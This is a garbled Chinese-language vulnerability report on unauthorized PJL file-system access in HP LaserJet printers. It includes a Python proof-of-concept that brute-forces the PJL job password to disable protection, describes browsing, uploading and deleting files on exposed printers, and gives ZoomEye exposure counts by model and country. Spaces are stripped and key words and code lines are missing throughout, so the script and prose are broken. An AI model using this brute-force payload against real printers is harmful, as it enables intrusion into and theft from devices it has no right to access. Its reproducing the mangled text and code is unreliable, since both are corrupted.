hp laserjet機未訪問漏洞分析報告

defiflen(sys.argv)<=1:foriinrange(1,65536):buf=b''#發(fā)送重置的PJL指s.send(('\033%-12345X@PJL\r\n@PJLJOBPASSWORD='+str(i)+'\r\n@PJLDEFAULTPASSWORD=0\r\n@PJLEOJ\r\n\033%-12345X\r\n').encode('UTF-8'))ifi%30==#發(fā)送查詢保護狀態(tài)的PJL指whileTrue:#保護被禁用#發(fā)送查詢 buf=b''while#查詢成功print('PoCOK!')exceptValueError:print('PoCNO!')exceptValueError:exceptValueError:ifname =='main':如果打印出“PoCOK!”，說明系統(tǒng)存在。PoC驗證主要分為兩個部分。第一部分發(fā)送重置的PJL指令進行，每進行30次嘗試后發(fā)送一次查詢當(dāng)前保護的狀態(tài)的PJL指令，直到查詢到保護被關(guān)閉即為成功。過程如圖一所示，過程中返回型號和PJL報文信息。圖1Python3過PJL指令，如果指令能夠正確獲取到，則PJL具有文件系統(tǒng)的權(quán)限，如圖2所示，即存在，PoC驗證完成。 惠普FileSystemExternalAccess的默認設(shè)置允許PJL命令該設(shè)備的文件系統(tǒng)。者可以借助PJL任意文件，連接并進行遍歷操作，截圖如下：進入，后，可以進行上傳、和刪除文件的操作，截圖如下ZoomEye普中受到該影響的有3625臺，占比34.88%。 影響設(shè)備型號全 TOP受該影響中HPLaserJet4250有424臺(11.7%)，HPLaserJet4050有366臺(10.1%)，HPColorLaserJet5550有267臺(7.3%)。其中HPLaserJet系列占所有受影響設(shè)73.9%。圖6受影響設(shè)備型號全球TOP 影響國家全球TOP圖7受影響國家全球TOP1、通過PJL文件系惠普LaserJet系列未多年前就已經(jīng)被爆出，惠普在2010年也給出了修補方案，然而在國內(nèi)外都并未受到足夠的重視，如今仍有很大一部分存在未遠程文件的，存于其上的私人文件甚至高密文件唾手可得，加強意識任重而道1、知道創(chuàng)宇Sebug平臺2、惠普PJL技術(shù)手冊 3、惠普安全公告： HPColorLaserJet2550Series HPLaserJet400ColorM451nwHPColorLaserJet3000 HPLaserJet400M401dnHPColorLaserJet HPLaserJet400HPColorLaserJet HPLaserJet400HPColorLaserJet HPLaserJet400MFPHPColorLaserJet HPLaserJetHPColorLaserJet HPLaserJetHPColorLaserJet4550Series HPLaserJet4100MFPHPColorLaserJet4600 HPLaserJet4100SeriesHPColorLaserJet HPLaserJetHPColorLaserJet4700 HPColorLaserJet4730mfp HPLaserJet4240HPColorLaserJet5500 HPLaserJet4250HPColorLaserJet HPLaserJetHPColorLaserJet HPLaserJet4345HPColorLaserJet HPLaserJetHPColorLaserJetCM2320fxi HPLaserJet500ColorHPColorLaserJetCP3525 HPLaserJet500ColorMFPM570dnHPColorLaserJetCP4020Series HPLaserJet5000HPColorLaserJetCP4520Series HPLaserJet5100HPColorLaserJetCP5225dn HPLaserJet5200HPColorLaserJetCP5520Series HPLaserJet5200LHPColorLaserJetM651 HPColorLaserJetM750 HPLaserJet600M601HPColorLaserJetMFPM476dnHPLaserJet600M602HPColorLaserJetMFPM476dwHPLaserJet600M603HPDesignJet130 HPLaserJet6PHPDesignJet HPLaserJetHPLaserJet1160 HPLaserJetHPLaserJet HPLaserJetHPLaserJet HPLaserJet9000HPLaserJet HPLaserJetHPLaserJet1320Series HPLaserJet9050HPLaserJet200ColorM251n HPLaserJetM606HPLaserJet2100 HPLaserJetP2015HPLaserJet HPLaserJetHPLaserJet2300 HPLaserJetP3010HPLaserJet HPLaserJetHPLaserJet HPLaserJetHPLaserJet HPLaserJetHPLaserJet HPLaserJetProMF